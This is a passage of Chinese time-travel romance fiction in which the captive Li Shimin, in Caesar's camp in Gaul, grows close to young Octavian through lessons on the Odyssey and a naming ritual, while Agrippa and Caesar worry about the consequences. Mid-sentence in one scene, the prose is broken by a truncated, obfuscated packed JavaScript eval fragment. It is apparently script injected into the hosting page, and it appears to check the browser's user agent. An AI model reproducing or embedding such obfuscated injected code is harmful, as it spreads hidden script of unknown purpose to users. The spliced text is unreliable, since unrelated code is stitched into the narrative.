屋大维行礼,转身离开。在掀开帐帘的瞬间,凯撒忽然又开口: “屋大维。” 少年回头。 “你很喜欢他。”凯撒缓缓说道,语气平淡,却让屋大维的脸颊微微发热。 “我尊重他,舅舅。”屋大维纠正道,但耳根的红晕出卖了他,“他……教给我很多。不仅是文字。” 凯撒的眼神暗了暗。他摆了摆手,示意少年离开。 帐帘落下,帅帐内重归寂静。 凯撒走到水盆前,将整张脸浸入冷水。冰冷刺骨的感觉让他清醒,却无法驱散心中那团乱麻。 他想起那个雨夜,想起蜡板上并排的名字,想起那双眼睛在听到“世民”二字时刹那的震动。 “我这是怎么了?”凯撒看着水面上自己模糊的倒影,低声自语。 他一生冷静自持,所有决定都经过精确计算。可现在,为一个来路不明的俘虏费心安排保护,为外甥眼中那点萌芽的好感感到不安,甚至许下自己都不确定能否兑现的承诺。 这不像是他。 不像盖乌斯·尤利乌斯·凯撒。 可当他想起那双深如墨潭的眼睛,想起那个人在屈辱中依然挺直的脊背,想起他们在无声中达成的那种深刻的理解…… 水珠顺着他的脸颊滑落,分不清是冷水还是别的什么。 二、奥德修斯 屋大维几乎是跑着来到那顶帐篷的。晨雾尚未散尽,他的额发被露水打湿,贴在光洁的额头上。 “阿格里帕你知道吗?”漂亮的少年像一只出笼的飞鸟,回头对挚友说:“凯撒承诺了,等他回来就会提高他的待遇。真高兴他能对他好一点,而不是把他物化,那太残忍了。” 阿格里帕显然不这样认为,看着好友欢欣雀跃的样子,他心中升起隐忧:“罗马的律法赋予征服者绝对的权利,屋大维。他是凯撒的战利品,凯撒有权对他做任何事。你不该过问的。” 屋大维灰色的眼睛里跳动着不服的火焰,“法律说征服者有权处置一切,可法律没说过,我们可以把另一个文明的火种掐灭在囚笼里!” 他有些赌气地加快速度,和挚友错开一定距离,以表达不满。 这个时间李世民已经起来了,正坐在角落整理仪表。他看着铜盆里倒影出自己的样子,披头散发,胡子下垂,已经越来越像个蛮族人了。这算什么?“夷狄而华夏,则华夏之;华夏而夷狄,则夷狄之”? 长到高腰的头发因为缺乏保养,已经开始打结和分叉,就像是秋天的落叶,无可避免地枯黄、凋零;又像是无声的信号,在催促他尽快做出解决。 他看到角落里放着的剪刀和剃刀——罗马人的一种试探,目光微微收缩……还不到时候。 凯撒曾暗示卡勒努斯将一套罗马式的剃刀与剪刀作为“生活用品”与其他物资一起送入帐篷,不附任何命令,只静静观察李世民的反应。这种沉默的施压,更具心理威慑。 李世民心知肚明。虽说“身体发肤,受之父母”,但作为典型的功利主义和实用主义者,是否这样做,取决于他的实际需要。 就在他洁面的时候,听到了由远渐近的脚步声,然后帐帘被急促地掀开。 李世民闻声抬眼,便看见了少年被晨光镀亮的轮廓,以及那双灰眸中尚未平息的波澜。 霜露已降,他今天披上了保暖的深蓝色短斗篷,用一枚圆形别针扣在右肩。清瘦的身形皎如玉树。 “你好……”屋大维喘 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“?νδραμοι?ννεπε, Μο?σα, πολ?τροπον…” (告诉我,缪斯,那位机敏的英雄……) 接着,他翻开自己带来的读书笔记,上面用稚嫩但工整的拉丁文写满了注释、心得和疑问。 他指着笔记,又指了指史诗文本,然后双手合十贴在脸颊,做了一个“思考”和“热爱”的手势。 ——这是我读的,我思考的,我热爱的。 是他喜欢读的书?李世民理解了,这是迫不及待要和他分享自己喜欢的东西。 李世民觉得时间过于早了,他刚刚起床,可是这孩子就像一只兴致勃勃的小鸟,依恋在他身边,实在无法拒绝。 是荷马史诗!罗马精英都是在希腊文化教育下成长的,荷马史诗是他们共同的文化基因和语言密码。 屋大维带来的是《奥德赛》。 相比充斥着直接冲突与荣耀的《伊利亚特》,《奥德赛》更关乎智慧、伪装、忍耐与回归。它更适合一个身处囚笼、需要运用智慧而非武力的王者。屋大维选择了更契合李世民当下心境的那一部。 屋大维用最简单的图画和手势,结合自己有限的词汇,艰难地为他讲述《奥德赛》的故事: 十年特洛伊战争,十年海上漂泊,英雄奥德修斯如何面对独眼巨人、女巫喀耳刻、海妖塞壬的诱惑,如何失去所有同伴,如何历经千辛万苦,只为返回故乡伊萨卡,回到妻儿身边。 即使看不懂文字,李世民也从屋大维庄重的姿态和吟诵的韵律中,感受到这是一部承载着重大意义的经典。 他安静地配合,认真地思考,尽力地理解,把主要表演时间都交给了屋大维。 在艰难的交流,李世民领悟到其中“英雄受难、心系故土”的母题。这在他心中激起强烈的情感波澜——既有知音之感,也有身为帝王却与虚构英雄境遇相似的淡淡悲凉。 屋大维洞悉了李世民的核心苦楚,是“归乡”这一本质的渴望。这是连凯撒都没有做到的事!这个孩子情感的细腻与思考的远见令李世民震惊! 他给李世民讲奥德修斯曾扮作乞丐时,用笔在蜡板上写下拉丁语:“生存有时需要伪装与忍耐。”再教他读音和释义。 当他以希腊语吟出“我的名字叫无人”时,目光锐利而悲悯,这既是对史诗的引用,更是对李世民隐藏身份、忍辱求生的精准洞察与无声声援。 这是李世民第一次真正被屋大维感动。 这不是教学用具,这是一份礼物。一份沉重的、象征着理解与祝福的礼物。 李世民开始重新审视屋大维。?? 第一次见面时,屋大维带着罗马贵族的傲慢与偏见而来,李世民毫不留情予以挫败。他拒绝告诉真名,只让屋大维用符号称呼他,这招很高明,既维护了尊严,又让屋大维碰了个软钉子。学习时公事公办,毫无感激之情,就是在说"你也不过是个工具人"。打掉他的嚣张气焰,他才会知道该带什么样的态度来见他。 等到第二次见面,李世民敏锐地察觉到屋大维态度的变化。少年眼中少了轻视,多了同情和探究。这时他马上调整策略,展示汉字文化,投其所好,确立双向师生关系。总的原则是:立场上争取同情,情感上拉近距离,尝试发展一条“渗透在罗马阵营的隐形杠杆”。教他写字的肢体接触,分享东方的哲学概念,都是在进行深层次的情感渗透。 李世民在这个过程中始终掌握着主导权。他引导对话方向,通过屋大维的反应和回答,使少年成为他接受对外信息的中转站。 但他还是小看了这个少年,他无害的外表,渊博的学识,显赫的出身,对人心的敏感洞察,对更广阔的文明的欢迎与吸纳……都在预示着他的未来不可限量! 从李世民的反应,屋大维知道自己成功了。他不仅分享了文明,更触动了这个深不可测的东方人最核心的情感与意志。这标志着他们的关系从“教学任务”正式升华为一种基于文明相互尊重与个人欣赏的友谊。 13. 第十三章、赐你之名 第十三章、赐你之名 晨雾散尽时,屋大维已经在那顶帐篷里待了整整一个上午。 阿格里帕发现他一旦踏入那个东方人的磁场范围,简直就像被磁铁抓住的金属,自己简直没有办法将他从李世民身边叫走。 他第五次掀开帐帘向内窥视——前四次他得到的只有屋大维不耐烦的挥手。这一次,他看到的情景让他的眉头锁得更紧。 屋大维几乎贴着李世民坐在简陋的长凳上,两人的膝盖轻轻碰在一起。少年浅金色的脑袋微微倾斜,专注地倾听着什么。 而那个东方人——阿格里帕不得不承认,即使穿着粗糙的罗马丘尼卡,即使面容带着囚禁的憔悴,他依然有一种令人无法移开视线的存在感。 他在教屋大维写字。 不是拉丁文,也不是希腊文。是那种奇异的、像图画一样的东方文字。 阿格里帕看到屋大维的手被李世民的手覆握着,引导着铁笔在蜡板上划出优美的弧线。屋大维的脸颊泛着兴奋的红晕,那双遗传自凯撒家族的灰蓝色眼睛亮得惊人。 阿格里帕感到一阵莫名的不安。这不再是“观察任务”或“语言教学”。这是某种更私密、更危险的交流。 “屋大维。”他终于忍不住出声,声音比平时更硬,“该用午饭了。” 屋大维头也不抬:“让侍从送过来,阿格里帕。我们在这里吃。” “这不合规矩——” “以我的名义,阿格里帕。”屋大维终于抬起头,眼神里有一种阿格里帕陌生的坚决,“去吩咐厨房准备三人份的餐食。要最好的。” 阿格里帕张了张嘴,最终什么也没说,转身离去。他知道当屋大维用那种语气说话时,争论是没有意义的——那语气太像凯撒了。 --- 简单的木桌被搬到帐篷中央,上面摆着三人份的食物:烤得恰到好处的羔羊肉,撒着香料;新烤的面包,外皮焦脆内里松软;炖菜里加了难得的鹰嘴豆和干蘑菇;还有一罐稀释过的法勒年葡萄酒。 三人围坐在桌旁,气氛微妙。 李世民进食的姿态有一种军人式的效率——没有多余动作,不发出声响,但一举一动依然带着某种与生俱来的优雅和节制,那不是刻意装出来的礼仪,而是融进生活中的习惯。 屋大维心不在吃饭。他托着下巴,注意力都在李世民身上,只觉得这个人哪哪都赏心悦目,简直就像按照自己的审美创造出来的希腊神像。 阿格里帕则默默观察。他察觉到李世民胃口不佳,但强迫自己进食——这是在为身体储备能量,是战士的本能。他也注意到,当屋大维过于专注地盯着李世民看时,李世民的睫毛会微微垂下,既不回避也不迎合,只是静静地继续用餐。 就在他观察李世民时,李世民似乎无意间抬眼,目光恰好与阿格里帕对上。那一瞬间,阿格里帕感觉自己像是被一柄淬了冰的剑正面刺中! 那不是俘虏应有的茫然或讨好,也不是屋大维看到的沉静、睿智。那是属于上位者的审视,带着洞穿一切伪装的了然和一种隐而不发的威压。它锐利、直接、毫无遮掩,仿佛自己所有小心翼翼的观察和内心的猜忌,都在这一眼下无所遁形。 阿格里帕呼吸一窒,手中的木勺“啪”地一声轻响,掉在了陶盘边缘,几滴炖豆的汤汁溅了出来。 “你怎么了,阿格里帕?” 那惊心动魄的目光只存在了一刹那。当屋大维看过来时,李世民已经垂下了眼睑,仿佛刚才那锐利如剑的一瞥只是阿格里帕的错觉。 “没…没什么,手滑了。” 阿格里帕再也不敢像之前那样肆无忌惮地直视李世民。他低着头,用眼角余光谨慎地留意着对方每一个细微的动作,心中那根警惕的弦绷到了最紧。 午饭一结束,阿格里帕就被屋大维“扫地出门”。阿格里帕还想说什么,但屋大维没给他机会——他又被磁铁吸走了。 --- 屋大维解开肩头的深蓝色羊毛短斗篷,将带着体温的织物随手搭在李世民的床尾。 这是一个可以解读成某种暗示的信号,少年在完成动作后才反应过来,并产生了不好的联想,他想到了母亲阿媞亚卧室中经常出现的不同男人的衣服…… 这让他的耳朵迅速发起烧来,有些羞赧又尴尬地看向李世民。 李世民没有这种联想,他一只手撑在桌子上,脸庞微微偏动,目光带着午后的温暖和沉静,落在少年亚麻束腰上衣的领口处,一枚别致的徽章随着他的动作微微一荡。 屋大维注意到他的目光,将徽章从衣领下拉出来:银质鎏金的材质,采用凹雕与浮雕结合工艺,中心主题是一只站立的年轻雄鹿 ,头颅高昂,姿态警觉但未显攻击性。 背景是一段罗马城墙的浮雕,城墙上方镌刻着缩写 SPQR(元老院与罗马人民)。 雄鹿上方,是一顶橡叶环 ,这是罗马授予拯救公民生命的英雄的冠冕。 城墙下方,海浪纹中升起一颗八角星 ,隐喻指引与天命。 徽章边缘环绕一圈月桂枝 ,既是对凯撒军事胜利的继承宣言,也是对屋大维未来命运的期许。 这枚徽章浓缩了屋大维身份的三重性: 家族性(尤利乌斯-凯撒的养子,继承其政治符号)。 个人性(年轻的雄鹿,独特的潜力与命运)。 天命性(星与月桂,预示神化与不朽的愿景)。 它是权力传承的图腾,也是少年野心的隐秘宣告。他向李世民解释这枚徽章的象征,并以此为起点,向他介绍自己的家族和来历。 屋大维在蜡板上写下了自己的全名“Gaius Octavius Thurinus”,他说得很慢,让李世民跟读。 “你也叫盖乌斯?”李世民有些疑惑,他伸出食指点了点蜡板上的“GAIUS”,然后抬起指向屋大维本人。那个“也”字的含义无法表达。 屋大维理解为问他的首名,他点了点头:“Ita, Gaius.(是的,盖乌斯。)” 然后他画了一个简单的家谱树。 在自己的名字上方,他画出两个小人代表父母,给父亲备注名字:“盖乌斯·屋大维·图里努斯”;给母亲备注名字:“阿提娅·巴蒂娜·恺撒里丝”。 没错,屋大维和他的父亲,名字写法完全一样。 李世民更加不解,屋大维只好使出全身解数给李世民解释,在罗马,长子出生时就会继承父亲几乎全部的名字:盖乌斯·屋大维·图里努斯。 李世民勉强理解到这个意思的时候,只觉得无法理喻,到现在为止他知道了三个罗马男人的名字,他们全部都叫盖乌斯…… 这令他产生疑惑,如果他呼唤“盖乌斯”这个名字,那他呼唤的是哪一个? 从母亲向上,屋大维又画了一个女人,标注“Julia(尤利娅)”。然后从尤利娅向上,画了一个更重要的、戴着头冠的男性小人。 在这里,他停顿了。 他看向李世民,眼神有些紧张,用笔在小人旁边写下一个名字: C · IVLIVS · CAESAR 李世民的目光落在那个名字上,他只认出了“CAESAR”这个词,那是他一位朋友教过并一定要他记住的词。 他拿起笔把凯撒圈起来,在旁边写了一个拉丁词:“multus?(很多?)”这是他已经学会的表示“多”的词,他的发音也很漂亮。 屋大维想了一下,回复:“multus!”(很多!) 然后他在头冠小人的上面拉了一条线,把凯撒的父亲和祖父也画出来,全部标上名字:“C · IVLIVS · CAESAR”。 凯撒和他父亲、他祖父都叫:盖乌斯·尤利乌斯·凯撒。这直接让李世民抬手揉自己的太阳穴。 然后屋大维又在凯撒的下面打了一串小点,意思是以后也会有很多继承凯撒名字的人。 但文化不同、语言不通隔绝了最大的信息量,李世民直接理解成姓凯撒的人有很多很多。当他问起罗马统帅的名字,而屋大维也回答“CAESAR”的时候,更加深了他这种错误认知。 他拒绝了屋大维再继续讲下去:“太复杂,弄不清楚。” 李世民现在的心情一言难尽,他用自己独一无二的姓名(全国避讳),交换了一个普通士兵极其重复弄不清楚的姓名,这令他对罗马这个国家的人名传统感到鄙视。 李世民换了另一个他感兴趣的话题,他画了一个双手向天的小人,用一根线和天上的太阳联系起来。 屋大维一眼就看懂了:“和神灵沟通?” 李世民尝试用新学的拉丁语问:“Ubi est?” (在哪里?) “你要找占卜师、巫师或者是祭司?”屋大维的脑海中瞬间闪过凯撒的脸,他想问:“你问过凯撒吗?凯撒怎么回答你?” 但话到唇边,又问不出口。他不想知道任何凯撒和李世民相处的细节……像是本能地排斥与回避。 “Roma Pontifex Maximus(罗马大祭司)……”屋大维顿了顿,摇了摇头,脸上露出“并非首选”的神情。 “但是…有更古老的…更神秘的……” 他向李世民推荐了两个地方: 希腊德尔斐:阿波罗神谕所所在地,古希腊人求问神意、决定战争、殖民等大事的宗教中心; 埃及卢克索:法老既是王也是神,这里的祭司掌握着与冥神奥西里斯沟通的复活仪式。 交流中屋大维也发现了一些奇怪的地方,比如李世民对凯撒很不熟悉,他甚至不知道凯撒是这支罗马军队的统帅,和外面传得热火朝天的绯闻形成鲜明对比。 联系起凯撒不久前的“玩物论”,使屋大维怀疑凯撒隐瞒了身份,在玩一种不正常的游戏。不不,他不应该这样设想自己尊敬的舅公。 但如果不是凯撒存心欺骗,那就只能是语言不通造成的信息茧房。军营的流言,安东尼的愤怒,对李世民而言都像是背景噪音,他几乎处在信息真空中。 --- 讲述告一段落,帐内陷入一片温暖的寂静。在短暂的休息中,屋大维仍然专注于看着李世民,即使不说话也觉得心中满足。 他忽然想起什么,眼光明亮而俏皮…… “还有另一个故事,”他再次拿起笔,“希罗多德在他的著作《历史》中写过一种神鸟,叫菲尼克斯(Phoenix)。” 他根据希罗多德的记载,用图画描述:这只鸟来自遥远的阿拉伯,每五百年一次,它会背负着用没药树脂制成的父辈遗体,飞往埃及的太阳神庙。在那里投身于祭坛的圣火,在烈焰中焚尽旧躯,然后从灰烬中重生,获得崭新的、更加辉煌的生命。 他画了火焰,画了灰烬,画了从中升起的新生的鸟。 “永恒。循环。重生。”屋大维用拉丁语慢慢说出这几个词。然后,他抬起头,看向李世民,目光清澈而真挚,不再有最初的好奇或后来的同情。 他拿起铁笔,在李世民面前的蜡板上,缓缓刻下几个拉丁字母: P H O E N I X 他指向这个词,目光却专注地凝视李世民。 李世民微微一怔,读出了这个词的音:“菲尼克斯……” 屋大维脸上浮现出一种混合了少年稚气与古老仪式感的庄重,他站在李世民面前,用清晰的拉丁语缓缓说道: “我,盖乌斯·屋大维·图里努斯,在此赐予你菲尼克斯之名。愿好运常伴你!” 他顿了顿,灰眸中闪过一丝属于这个年龄的调皮,忽然伸出右手,手背向上,递到李世民面前,模仿着罗马贵族间授予荣誉或庇护的古老仪式,眨了眨眼。 ——快吻我的手背,完成这个仪式。 李世民看着伸到面前的、属于少年的白皙的手,没有动,只抬眸对上屋大维那双因期待和一丝不易察觉的紧张而格外明亮的灰蓝色眼睛。 这样的对视让屋大维的脸迅速涨红,少年渐渐感到失礼的害羞和被拒绝的难堪,一时不知如何收场。 李世民忽然笑了,笑意很淡,却真切地软化了他眉宇间惯有的高冷和因囚禁而生的倦色。他没有如屋大维预想的那样,顺从地俯身或低头——那不是他的性格。 他站起身,比少年更高一些,即便穿着普通的罗马丘尼卡,那份挺拔与从容也瞬间将这场小小的“仪式”笼罩在他的气场之下。 他没有去碰屋大维伸出的手背,而是轻轻握住了少年纤细的手腕。他的手掌温暖,指腹的薄茧擦过皮肤,带来一种奇异的、令人心悸的触感。 他执起少年的手,带着一种不容置疑的流畅,拉高到自己唇边。这是一个微妙但决定性的姿态调整——不是低头去俯就,而是将对方的“恩赐”主动迎近。 他微微垂眸,目光落在少年光洁的手背上,然后低下头,将唇轻轻、克制地印了上去。 “我接受。”他用汉语回应。 那是一个短暂、干燥、却无比清晰的接触。 屋大维整个人僵住了。 像有一道细微却强烈的电流,从被触碰的那一小片皮肤窜入,击穿了他的手臂、肩膀,直抵心脏,然后轰然炸开,席卷四肢百骸。时间仿佛被无限拉长,感官被放大到极致:他能感觉到对方呼吸拂过手背的微暖,能看见对方低垂的眼睫投下的阴影,能闻到对方身上淡淡的、与罗马军营格格不入的清冽气息。 那不是贵族礼仪的虚应故事,那是一个接纳,一份回应,一种……他无法用语言形容的、近乎神圣的馈赠。 心脏在胸腔里疯狂擂鼓,血液涌上脸颊,耳朵滚烫。一种陌生而汹涌的情感洪流,毫无预兆地冲垮了所有预设的堤防——好奇、同情、尊敬、对异质文明的震撼……所有这些原本清晰的情感,此刻全都融化、搅拌、升华成一种他完全无法理解、也无法控制的东西。 懵懂、纯洁,却又无比炽热。像第一缕阳光刺破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面对这样贵重的礼物,受赠者要用怎样价值的东西回赠?此时屋大维身上没有同等金钱价值的东西。 少年做了一个连自己都未及深思的动作——他扯下了自己颈间那枚雄鹿徽章。银链断开时轻响了一声,仿佛某个与生俱来的契约被暂时解除。他将带着体温的徽章,郑重地放入对方摊开的掌中。 “我的……”他用拉丁语说,声音轻而哑。 西斜的阳光将两人交换信物的影子投在帐壁上,巨大而沉默,仿佛两个文明的轮廓在此刻短暂地、私密地交叠。 屋大维抚着胸前的蛇骨,那金质已迅速染上他的体温。他抬头,望向对方手腕上属于自己的标记,一种前所未有的、滚烫的联结感击中了他。 他得到了一个太阳馈赠的碎片。 而太阳,不动声色地,将一柄可能打开未来之门的钥匙,系在了腕上。 --- 屋大维几乎是飘着走出帐篷的。意识处在晕眩中,脚步像踩在棉花上,耳朵里嗡嗡作响,对外界的一切都失去了感知。 那双遗传自凯撒的灰蓝色眼睛此刻迷离而涣散,焦点不知落在何处。然后他就在阿格里帕的惊呼声中,准确无误地撞在了旁边的旗杆上。 阿格里担忧地叫道:“你才见他第三次面,我看你连魂都丢了!你不能再去见他了。” 他将屋大维拉到僻静处,给他分析罗马社会是如何看待同性关系。 罗马社会的性伦理是围绕“支配权”构建的。 罗马军中对同性关系的态度,核心并非“性取向”,而是“性角色”。 公民士兵之间,尤其是充当被动方,是绝对的丑闻。若被发现,当事者会遭受残酷的嘲弄、排挤,甚至军法严惩,其军事生涯与社会生命可能终结。 对于俘虏(如李世民)或随军奴隶,他们本身被视为财产,不拥有完整的人格与尊严。征服者对其行使性权力,在罗马观念中更接近于“使用一件物品”,可能被议论,但不构成对凯撒本人男子气概的损害——前提是凯撒必须始终保持绝对主动和支配的姿态。 若过度投入情感,或让李世民表现出不应有的影响力,或者自己表现出被李世民反向征服的趋势,则会被视为统帅被“妖魅”蛊惑,理性沦丧,严重损害其权威。这正是安东尼暴怒的深层文化原因。 流言是攻击凯撒理性的最佳武器。政敌可渲染“伟大的凯撒被东方男巫奴役”,动摇军心与政治威信。 屋大维作为年轻罗马贵族,应对战俘保持支配姿态。但他表现出的同情、平等、尊重乃至爱慕,在罗马人眼中是角色倒错、丧失罗马尊严的疯狂行为。 如果传出绯闻,屋大维几乎必然会被公众和政敌优先、甚至武断地认定为“被动方”。他将被贴上 “女性化”、“软弱”、“意志薄弱” 的标签。这不仅会让他成为全军笑柄,更会从根本上摧毁其政治资本——一个无法保持“支配者”姿态的人,不配领导罗马。阿格里帕的担忧正源于此。 政敌甚至会渲染这是 “凯撒家族的弱点” ,攻击其血统或教育失败,出了一个容易被“东方妖术”控制的继承人,进而动摇整个政治集团的威信。 阿格里帕的话像一盆冰水,夹杂着现实的碎石,狠狠泼在屋大维滚烫的心上。他脸上的红晕迅速褪去,变得苍白,他并非不懂这些规则,而是年少轻狂,放纵自己的情感压倒了理智。 “你必须立刻停止。” 阿格里帕斩钉截铁地说,“否则,不仅你会惹上大麻烦,连他……也可能因为你愚蠢的感情而陷入更危险的境地。想想看,如果凯撒认为他的‘特殊财产’已经开始影响甚至‘腐蚀’他选定的继承人,他会怎么做?” 屋大维浑身一颤,眼中最后一丝迷幻的光芒也熄灭了,取而代之的是冰冷的恐惧和后怕。 他当然知道后果,李世民的处境会从“高价值的囚徒”急转直下为“必须被清除的政治污点与祸源”。其存在本身会威胁到罗马权力核心的稳定,从而成为所有人的眼中钉。 “凯撒卷进去,尚可接受;你若是再卷进去,他必死无疑!你想看到他被斩首,还是被钉上十字架?” “不!不能……”屋大维的反对虚弱无力。 刚才帐篷内那温暖、明亮、充满智慧碰撞与情感激荡的世界,像一场骤然惊醒的美梦。而梦醒之后,是阿格里帕描绘的、冰冷坚硬且危机四伏的现实。 他低头,手隔着衣料按在脖颈前,里面是他的“菲尼克斯”留下的唯一信物。初恋的狂喜尚未退潮,现实的警钟已然敲响。两种截然相反的力量在他年轻的胸腔里激烈冲撞,几乎要将他撕裂。 阿格里帕叹道:“凯撒犯了一个错误,他不该派你去接近他。这件事已经不是你我能处理的了,我会去找凯撒,让他在你的流言传出来之前,动用一切力量掐断源头。这不是告密,屋大维,这是为了保护你,也是……为了避免更大的祸患。” ???? 14. 第十四章 第三夜:灯火与灰烬 第十四章第三夜:灯火与灰烬 一、子夜之前 凯撒的帅帐内,最后一支蜡烛即将燃尽。 帐中已无旁人。行军的命令早已下达,辎重清单也已封存,就连写给元老院那份措辞激昂、宣告高卢彻底臣服的捷报,此刻也静静躺在桌案一角,等待着黎明的信使。 唯独那把剑,还握在凯撒手中。 他褪去了白日里统帅的甲胄,只着一件简单的亚麻长衣,赤脚站在粗糙的羊毛地毯上。修长有力的手指,正缓缓抚过剑鞘上那些他无法完全理解的、繁复精美的金银钿妆纹路。指尖传来金属微凉的触感,以及木材包裹皮革的温润。 这不是罗马的剑。罗马的短剑是为了在方阵中贴身刺杀,追求的是效率、致命和坚固。而手中这把,更长,更直,线条如流水,平衡完美得惊人。它是一件艺术品,一件礼器,但当你握住它时,又能清晰地感受到隐藏在优雅外表下的、蓄势待发的杀戮本能。 就像它的主人。 凯撒的拇指摩挲着剑首上镶嵌的宝石。烛光在那些切割完美的棱面上跳跃,折射出幽暗莫测的光。他眼前浮现的,却是另一幅画面:雨夜帐篷里,那个人握住铁笔的手,骨节分明,在昏黄灯火下,像某种脆弱又倔强的印记。 他想起那晚帐外的骚乱,惨叫与兵刃交击声刺破雨幕。几乎是本能地,他向前半步,用身体挡在了那人与帐门之间。那一刻,他想的不是“保护重要资产”,而是一个更简单、更危险的念头:不能让那些混乱和血腥沾到这个人身上。 “盖乌斯·尤利乌斯·凯撒。”他对着空无一人的帐篷,低声念出自己的全名,声音里带着一丝自嘲。 一生谨慎,步步为营。在元老院用言辞周旋,在战场上用鲜血开道,在情场上用魅力与权势收割。他熟悉所有的游戏规则,并总能成为赢家。他计算利益,权衡得失,将一切——包括自己的情感——都置于罗马这架宏伟而残酷的机器之中。 可现在,他却在出征前夜,像个初次陷入迷恋的男人,对着一个俘虏的佩剑出神。 不,不是俘虏。 那个词显得如此粗鄙,如此不准确。 他是……一个谜。一个从天而降的文明化身。一个眼神高傲如帝王,却在篝火边想哭就哭的人。 凯撒闭上眼,指节因用力而微微发白。理智在耳边尖锐地嘶鸣;可某种更古老、更不理智的东西,就在胸腔深处苏醒,压倒了所有精明的算计。 油灯的火苗跳动了一下,倏然熄灭。 帐内陷入一片黑暗。只有营区边缘零星的火把光芒,透过帐帘的缝隙,在地面投下几道变幻不定的、鬼魅般的影子。 凯撒在黑暗中站了许久。直到营区报时的水钟,传来沉闷的、标志子夜来临的敲击声。 他睁开眼,灰蓝色的瞳孔在昏暗中,像两点不灭的寒星。 他放下剑,没有披上统帅的斗篷,只随手抓起一件深灰色的普通士兵外套裹在身上。 “统帅?”帐外亲卫队长低声询问。 “我出去走走。不必跟随。” 冷雾扑面,带着渗入骨髓的湿寒。凯撒的脚步声很轻,绕过主营区,向东侧那片被特意隔开的监区走去。 越是靠近,心跳便越是反常地沉重。 他想起阿格里帕今晚的报告。那忠诚的年轻人显然察觉了屋大维的异常,但最终选择用更隐晦的方式提醒:“屋大维少爷……最近与那位东方客人教学时间很长,学得非常投入。”并建议他提前防范可能出现的针对屋大维的负面流言。 投入。凯撒明白这个词背后的分量。屋大维聪明但体弱,对知识有超乎寻常的渴求。而那个人……凯撒比任何人都清楚,那不是一个普通的战俘,那是一个能轻易吸引任何求知者、任何崇尚智慧与力量之人的存在。 理智告诉他,此刻最该做的,是彻底切断屋大维与那个人的联系,甚至,是时候考虑对这个“特殊战利品”做出最终处置了。 可当他想到要“处置”那个人——无论是作为政治筹码送走,还是永远禁锢——胸腔里便泛起一阵尖锐的、陌生的钝痛。 这不合理。这不罗马。 可他还是来了。 监区入口,两个哨兵正在低声交谈,看到披着斗篷的身影走近,立刻噤声立正。凯撒抬手示意不必行礼,径直走向那顶孤零零的帐篷。 帐篷里没有光,一片漆黑。门口的三个看守聚在一起小声说话,见到他,脸上闪过惊愕,刚要开口,被凯撒一个眼神制止。 “有任何异常吗?” “有,刚砸完东西,但很快又没声了。” “砸东西?”就在凯撒犹疑的刹那,帐篷内传来一声清晰的、压抑的闷响。 像是陶器碎裂的声音。 凯撒瞳孔一缩,几乎本能地掀开了帐帘—— ?? 二、泪痕与怒火 李世民在做梦。 梦里没有阿莱西亚的壕沟与土垒,没有罗马士兵冰冷的眼神和铁钉凉鞋敲击石板的声音。他回到了长安,回到了那个他仅仅停留了一瞬、却仿佛已隔世般的皇帝宝座。 他看见长孙氏站在空荡荡的太极殿中央,仰头望着御座,背影单薄而寂静。她手中握着一卷他批阅到一半的奏章,指节捏得发白。 他看见长孙无忌在灯下与房玄龄、杜如晦激烈地争论,几人眼中都布满血丝,桌案上堆着如山的地图和文书。无忌的声音沙哑而急切:“必须封锁消息!突厥人就在泾州,若陛下失踪之事传出……” 他看见承乾、青雀,还有小小的丽质,被乳母和宦官团团围住,孩子们的脸上写着茫然与不安。丽质怯生生地问:“阿耶……是不是不要我们了?” 然后画面破碎,旋转。他看见李元吉那张因嫉恨而扭曲的脸,在昏暗的法阵前发出癫狂的笑声:“流放!流放到最遥远、最野蛮的地方!让他和野人……” 袁天罡那双妖异的紫瞳在黑暗中猛然睁开,冰冷的声音直接刺入脑海:“旅程开始了,我的皇帝陛下。” “不——!” 李世民猛地从行军床上弹坐起来,心脏在胸腔里疯狂擂鼓,冷汗浸透了单薄的亚麻内衣。他急促地喘息着,视线因梦境残留的晕眩和骤然惊醒的黑暗而模糊一片。 不是长安。 没有熏香,没有丝绸,没有低声询问“大家有何吩咐”的宫人。 只有帐篷布料在夜风中轻微的鼓荡声,远处隐约传来的、罗马哨兵换岗时拉丁语的口令声,还有身下粗糙毛毯扎人的触感。 真实的、冰冷的、令人窒息的现实,像潮水般涌回,瞬间淹没了梦境残留的最后一丝暖意。 那些被强行压抑了整整七天的情绪——登基之日被刺杀的震怒,从天坠落的恐惧,被当众剥衣抢劫的奇耻大辱,对家国天下的无尽忧思,对前途未卜的深切迷茫,还有深埋心底、连自己都不愿承认的、一丝属于“人”的脆弱——在这一刻,如同被梦境这把钥匙打开了一道裂隙,再也无法遏制地喷涌而出! 有什么液体冲破了眼眶的堤坝,顺着脸颊肆无忌惮地流淌。他没有发出声音,只是死死咬着牙,下颌绷紧如铁,任由眼泪在黑暗中无声地汹涌。 这不是帝王的眼泪。这是一个被生生从自己的世界连根拔起、抛入蛮荒炼狱的“人”,在孤独与绝望中,最本能的反应。 然后,这股无处宣泄的悲愤,很快转化为了暴烈的怒火! 凭什么?! 他,李世民,十年征战平定天下,二十九岁(实岁27)登基为帝,胸怀四海,志在千秋!他本该在长安的太极殿上,接受万国来朝的朝贺,运筹帷幄,决胜千里,开创一个前所未有的太平盛世! 而不是像现在这样,被困在这顶散发着霉味和尘土气息的帐篷里,穿着蛮族的粗糙衣服,吃着反胃的食物,像一只珍禽异兽般被展览、被觊觎、被议论!连一个尚未成年的孩子,都能用同情或探究的目光打量他! “轰——!” 一声巨响在死寂的帐篷里炸开。 李世民一脚踹翻了面前那张简陋的木桌。桌上的陶制水罐、蜡板和铁笔、还有屋大维留下的那卷《奥德赛》莎草纸抄本,全部飞了出去。水罐撞在支撑帐篷的木柱上,碎裂开来,水花和陶片四溅。莎草纸卷轴滚落在地,沾满了泥水。 巨大的声响立刻惊动了帐外的守卫。 帐帘被猛地掀开,一个罗马士兵探进头来,手中的短矛在火把光芒下反射出寒光。 “滚!”李世民想也没想,抄起手边唯一能及的折叠木凳狠狠砸去。 凳子擦着头盔飞过,撞在帐帘上弹落,吓得对方缩了回去。他用汉语厉喝:“该死的东西,谁敢进来?!” 